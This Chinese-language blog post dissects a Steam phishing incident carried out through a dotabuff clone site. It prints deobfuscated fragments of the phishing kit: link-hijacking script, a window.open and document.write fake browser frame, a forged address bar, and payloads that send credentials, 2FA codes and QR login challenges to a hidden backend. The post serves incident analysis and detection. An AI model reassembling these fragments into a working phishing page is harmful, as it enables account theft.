你的"地址栏"是画出来的:一次 Steam 盗号事件的完整技术复盘

一、事件经过:从"复个盘"到账号被顶

2026 年 9 月,NGA 论坛 Dota2 版块出现一篇求助帖,过程相当典型:

  1. 他在抖音刷到过复盘工具,但没找到入口;
  2. 转去问 AI,AI 建议用 dotabuff 这类第三方数据站,但他没记住域名
  3. 于是在搜索引擎里搜 dotabuff点了排在前面的那一条
  4. 站点长得很"正常",他点了 Steam 登录,在弹出窗口里完成登录;
  5. 当晚打游戏时,一个自称"valve 员工"的账号发来话术消息,他没理会;
  6. 随后 Steam 被顶下线 。重登后他删掉对方好友,对方自动加回来,反复两次;好友列表被清空(不是屏蔽,是真删);
  7. 他随后取消所有授权、修改密码,账号暂时稳定。

帖子下面很快有人回复:"我也是,估计那个看数据的网站真的有问题。"

关键线索是域名。 帖主事后对比发现:

项目 域名
dotabuff 官方站 dotabuff.com
他实际访问的站 dota2buff.org

这不是常见的"字符替换"仿冒(steamcommun1ty.comg00gle.com 那种),而是借用了原品牌的完整词根 dotabuff,前面插一个 2,再换掉顶级域。对一个"记不清域名、正在搜索"的人来说,dota2buff.org 看上去甚至更专业------像是"dota2 + buff"的组合词。

这就是整件事的入口:它不需要骗过懂行的人,只需要骗过"搜索一下"的人。


二、技术分析

2.1 整站克隆 + "点哪儿都弹框"

抓取该站首页(HTTP 200,约 165 KB,前置 Cloudflare)确认,它是 dotabuff 的静态整站克隆

javascript 复制代码
title:    <title>DOTABUFF.com - Official Website :: Dota 2 Statistics and Analytics</title>
正文链接:  多处仍指向 https://ru.dotabuff.com/signin   ← 真站

克隆时连"Sign in through Steam"的原始超链接都没改,还指着真站。这不影响攻击效果,因为首页尾部内联脚本做了两件事:

js 复制代码
// 1) 把所有链接打死
if (item.tagName === 'A') {
  item.setAttribute('href', '#!');
  item.setAttribute('target', '_self');
}
// 2) 除登录按钮和关闭按钮外,全部改绑到弹框
if (!item.classList.contains('action-login-steam')) {
  if (!item.classList.contains('modal-close')) {
    item.addEventListener('click', e => { e.preventDefault(); openModal(); });
  }
} else {
  item.classList.add('r76a3l3tgl8n');   // 真登录按钮,交给外部 JS 接管
}

点页面任意位置 ------正文、图片、菜单------弹出的都是同一个 "Authorization" 框,文案是"领皮肤、参与抽奖、独家优惠"。作用是降低戒心,让你觉得登录是"为了拿好处"。

一个识别低劣克隆的小痕迹:这个弹框的 logo 是一张截图/index_files/Screenshot_1.png)。

2.2 核心手法:window.open + document.write 伪造浏览器外框

点击"Log in via Steam"后:

js 复制代码
// 关键配置(去混淆后)
const cfg = {
  1: window['$ls'] || 'rfnz0vqmx3h8.html',   // 弹窗里要加载的页面
  2: 'numclock.info',                        // 真正的后端域名
  3: 'NEW_PAGE_ABOUT_BLANK'
};

if (cfg[3] === 'NEW_PAGE_ABOUT_BLANK') {
  const w = window.open('about:blank', <窗口名>, <窗口参数>);
  w.document.write( ... + location.host + '/' + cfg[1] + ... );
}

拆开说,这三步各解决一个问题:

  1. window.open() 开的是操作系统层面真实的第二个窗口。 很多人验证弹窗真伪的习惯是"拖出主窗口边界看会不会被裁切"------假弹窗(DOM 元素)会被裁切,真窗口不会。这一步让该测试彻底失效。
  2. 开的是 about:blank,新窗口与打开者同源 ,于是可以用 document.write 整篇覆写任意 HTML
  3. 写进去的内容 = 一整套"画出来的浏览器外框"(地址栏、小锁、最小化/最大化/关闭按钮,全是 DOM 元素)+ 一个铺满窗口的 iframe,iframe 再加载真正的假登录页。假外框的结构从 JS 变量表能直接看出来:
js 复制代码
const ui = {
  authWindow, header, headerIcon, headerTitle, headerControl, headerBtn,
  hideBtn, toggleBtn, toggledBtn, closeBtn,
  url, ssl, urlInput, translateIcon,          // ← 假地址栏 + 假小锁
  urlMozilla, inBlockMozilla, inBlockMozillaBtn, urlMozillaMenuBtn
};

2.3 假地址栏里,装的是一段真的 Steam 链接

最容易被误判的一点。那个看起来指向 Steam 的地址栏,本质是:

js 复制代码
React.createElement('input', {
  type: 'text',
  value: 'steamcommunity.com/openid/login?openid.ns=...&openid.return_to=https%3A%2F%2F' + <运行时拼接>
});

不是 浏览器地址栏,是一个 <input type="text">value 被写死成一段语法完全正确的 Steam OpenID 2.0 登录 URL。两个细节说明伪造者对浏览器做过功课:

  • 值以 steamcommunity.com/... 开头,故意不带 https://------因为现代 Chrome 本来就折叠隐藏它;
  • 旁边的"小锁"(ssl)同样是画出来的。
text 复制代码
真实浏览器地址栏                       页面画出来的"地址栏"
┌──────────────────────────────┐      ┌──────────────────────────────┐
│ 🔒 steamcommunity.com/...    │  VS  │ 🔒 steamcommunity.com/...    │
│ ↑ 浏览器进程渲染,网页改不了      │      │ ↑ <input>+背景图,可写任何内容   │
└──────────────────────────────┘      └──────────────────────────────┘
        不可伪造                              可任意伪造

这里必须说清技术边界,避免误导:

Steam OpenID 走完完整流程,只会把 SteamID64 (一串公开可见的账号 ID)交给回调方,拿不到密码,也不足以接管账号

所以"弹窗指向真 Steam 链接"本身不构成危害 ,它在这里主要起装饰和取信作用------让假地址栏看起来无懈可击。

真正致命的是 iframe 里那份假登录表单 ,以及下文的二维码劫持与 2FA 中继。「地址栏是官方的」≠「输入框是官方的」。

2.4 假登录页在收什么

iframe 加载的假登录页约 52 KB(其中 99% 是 base64 内嵌 favicon),<title> 是空的 ,不加载任何外部 CSS------一次性壳页的典型特征。它引一个约 1.1 MB 的 JS(React + axios 全量打包),脚本里的 state 直接暴露了目标字段:

字段 对应真实 Steam 登录页的什么
accountName / password 账号 / 密码
twoFactorCode Steam 令牌(手机 App)动态码
authCode 邮箱验证码
smsCode 短信验证码
lastNumberDigits "发送到尾号 XXXX 的手机"------连文案都仿了
mail 邮箱
secret / secret2 / ah / ph 不属于 Steam 任何流程,判断为套件自用的跟踪/反自动化字段(语义为推断,未证实)

配套 i18n 覆盖约 30 种语言(含简繁中文),页脚还抄了 Valve 的多语言版权声明。这是商品化套件的标志 ------不是一次性手搓,是按批次配置的成品。佐证是前文那个 window['$ls'] 可覆盖点:只要能注入 window.$ls,就能把弹窗内容换成任意页面,说明背后有稳定的套件供应链。

2.5 数据回传:三段式,各偷各的

① 凭证提交------一次打包密码 + 三种验证码

js 复制代码
const payload = {
  accountName, password, smsCode, twoFactorCode, authCode,
  referralLink: parent.location.pathname || '/',   // 读父窗口,追踪从哪个诱饵页进来
  domain: location.hostname, secret: <三段拼接>, secret2: <临时密钥>,
  u: <cookie 'uv'>, ua: navigator.userAgent
};

referralLink: parent.location.pathname 反过来印证它确实跑在 iframe 里,同时用于给推广渠道分成------引流链上不止一个角色。

② Steam 二维码登录劫持(最危险:免密码、免 2FA)

js 复制代码
post({ data: { QRChallengeURL, domain, referralLink, secret, u, ua } });

对应字符串表里真实存在的地址是 s.team/q/1/<challenge> ------Steam 官方扫码登录深链。危害远大于假表单:

  • 你用 Steam 手机 App 扫这个码 → App 弹"是否确认登录" → 一按确认,授权的就是攻击者那一侧的会话
  • 全程不需要密码,也不需要验证码------因为"扫码确认"本身就是 2FA;
  • 账号上的 2FA 设置全部失效

二维码本身不是钓鱼站画的,是真的。被钓的是"确认"这个动作。

③ 2FA 实时代填(反向中继)

js 复制代码
post({ data: { id, steamGuardCode, referralLink, domain, u, ua } });
text 复制代码
受害者                    钓鱼后端                     Steam 官方
  │                          │                            │
  │ ① 提交 账号+密码 ────────▶│                            │
  │                          │ ② 用真实凭证登录 ─────────▶│
  │                          │ ◀── ③ 要求 Steam Guard 码 ──│
  │ ◀── ④ 假页面弹"请输入令牌码"│                            │
  │ ⑤ 填入真实令牌码 ────────▶│                            │
  │                          │ ⑥ 60 秒内转发令牌码 ───────▶│
  │                          │ ◀── ⑦ 登录成功,会话接管 ────│

你在假页面上"乖乖配合"的每一次输入,都在帮攻击者实时完成对你账号的登录

后端与反侦察

  • 真正的后端是 numclock.info ,不是 dota2buff.org从不出现在地址栏
  • 上报路径做了随机填充 :语义是 /domain,但字母间插随机串,服务端按骨架正则匹配 ⇒ 精确路径黑名单直接失效
  • 首屏还有一个 XHR 探针:页面一加载就上报访客指纹和来源,不用等用户点任何东西;
  • 载荷里出现 XSRF-TOKEN 与 axios ⇒ 后端多半是 Laravel 风格的现成"钓鱼面板"。

三、它到底绕过了哪些防御

常规钓鱼伪造一个像官方 的域名,防线是"看地址栏域名对不对"。这套东西完全不在域名层面竞争------它把整条防线架空了:

# 手法 绕过了什么
1 假地址栏是 <input>value 是真 Steam OpenID 地址 "看地址栏"------地址栏是画出来的,可写任何内容
2 window.open真窗口 ,再 document.write 覆写 "拖出主窗口看是否被裁切"这个惯用测试
3 诱饵域名只需像 dotabuff.com,无需像 Steam "Steam 域名相似度"检查;dotabuff 本身就跳 Steam 登录,跳转理由充分
4 真后端 numclock.info 从不露面,路径被随机字母打散 URL / 路径黑名单
5 CSS 类名等运行时用 Math.random() 生成 基于固定选择器的静态检测------每次加载类名都不同
6 首页 HTML 中 openidsteamcommunity 命中数为 0 爬虫 / 关键词扫描
7 资源文件名全为 12 位随机串 文件级黑名单

准确说法: 这不是传统"仿冒域名钓鱼",而是 Browser-in-the-Browser(BitB,浏览器套浏览器) ------伪造的不是网站,是浏览器本身


四、防御清单

4.1 普通用户:四条硬规则

  1. 登录第三方站,永远从"你自己打开"开始。 别从搜索结果推广位、群消息、私信链接点进去。要复盘 Dota2,直接在地址栏敲官方域名或走收藏夹。
  2. 地址栏只信浏览器自己画的那一个。 网页里画出来的地址栏、网页里画出来的小锁,一律不作数
  3. 登录页出现在小窗口里 = 假的。 真实 steamcommunity.com 发了 X-Frame-Options不可能被别的站套进 iframe。看到"页面中间一个小框里是 Steam 登录",直接关掉。
  4. 扫码前先看是谁在问。 App 弹"是否确认登录"时,那是别人发起的登录请求------你按确认就是把账号交给发起方。不认识的登录一律拒绝。

4.2 已经输入过密码 / 扫过码:按顺序做

步骤 操作 位置
1 修改 Steam 密码 账号设置
2 注销所有其他设备,撤销不认识的已授权设备 设置 → 安全
3 检查 API 密钥,不认识的就撤销 steamcommunity.com/dev/apikey
4 检查交易报价历史与库存 库存 / 交易记录
5 检查登录历史,确认无残留会话 设置 → 安全
6 改掉复用过的同一个密码(大概率还挂在别的站上) 全局

第 3 步最容易被忽略也最关键:API 密钥是"交易报价被掉包"类盗号的常见准备动作。攻击者不急着拿东西,先留后门,等一笔大额交易时再动手。

4.3 给开发者 / 做检测规则的人

信号 说明
登录表单处于 window.top !== window.self 真 Steam 登录页永不会被套框,最强单点特征
页面内存在"看起来像地址栏的 input" 检测假地址栏本身就是强特征
window.open 后紧接 document.write 真窗口 + 写内容,几乎只见于 BitB 类攻击
<a> 被批量改写为 #! 且点击统一弹框 克隆站伪装特征
资源名为 12 位随机串、无外部 CSS、<title> 为空 一次性钓鱼壳页特征
同一表单同时收集 password + twoFactorCode + authCode + smsCode 真 Steam 分步走,不会一次要三种码

4.4 举报通道

域名注册商 Abuse 通道(whois 查 Registrar)+ Cloudflare Abuse(该站前置了 Cloudflare)+ Steam 官方支持。后端的 numclock.info 一并提交,不要只举报诱饵域名。


五、结语

这次事件里,受害者做了几乎所有"对的事":发现异常、移除好友、取消授权、改密码。但账号还是被顶了、好友还是被清空了。原因是攻击发生在他操作之前的几分钟里,而他当时的每一步都觉得自己是安全的

三点最值得记住:

  1. "看地址栏"这条经验已经不够用了。 当网页能在自己的画布上画出一个浏览器窗口时,域名相似度、小锁图标、甚至窗口拖拽测试会集体失效。可用的替代判断是:登录页有没有被套在框里window.top !== window.self)。
  2. 二维码是新的高危入口。 它把"输密码 + 输验证码"压缩成"点一下确认"。二维码是真的,被利用的是习惯性确认。
  3. 受害者的第一反应决定损失大小。 正确顺序是:改密码 → 注销所有设备 → 查 API 密钥,而不是先去加回好友。

它赢在把"地址栏"从浏览器手里搬到了自己手里。域名像不像,已经不重要了。


附:可信度说明与未核实项

所有技术细节均来自对目标站点的静态文件分析 (首页 HTML + 其引用的 3 个 JS/HTML 资源),过程中未点击登录、未提交任何表单、未与后端建立业务交互 。全文只做防御性分析与取证,不含可复现的攻击实现,不提供可访问的钓鱼链接;涉及的域名与账号已做脱敏处理。

以下三项尚未完全核实

  1. ah / ph / secret / secret2 的确切语义未证实,仅确认不属于 Steam 任何流程;
  2. 二维码(s.team/q/1/<challenge>)的动态下发流程未实测,引用的是字符串表中写死的样例;
  3. 部分混淆字符串未完全还原------"return_to / realm 主机名运行时随机拼接"已确认,完整成品串未还原。

相关推荐
hasty2 小时前
一条 PATH 怎样让依赖包接管构建命令:pnpm 12.4.2 安全更新
安全·安全威胁分析
Raas1002 小时前
AI网关支持OpenAI吗?MAI Gateway(魔芋企业级AI网关)实战能力深度解读
网关·安全·大模型·ai网关·mai gateway·魔芋·企业级产品
Acrellea2 小时前
告别粗放式能耗管理!安科瑞EIOT平台助力产业园区智慧低碳运营
运维·安全·能源
迪康coolmu4 小时前
企业文件外发管控落地实践 —— 基于迪康端点安全一体化管理系统
运维·网络·经验分享·安全
yu_zhidun6 小时前
终端安全EDR项目落地踩坑与能力补全实战
安全·数据安全·edr·域智盾软件
ynchyong6 小时前
为自己科普DTLS
安全·数据传输
AI行业应用研究6 小时前
会务问答机器人落地拆解:三级路由、知识库组织与防幻觉——会务小程序能自己回答参会者提问吗?
大数据·人工智能·安全·小程序·架构
Thneonl7 小时前
照着 CKS 教材做实验,把 apiserver 干瘫了 7 分钟
安全·kubernetes
zhuobattle7 小时前
Anthropic 2026年9月威胁情报报告:AI滥用安全风险总结
安全·ai安全·大模型安全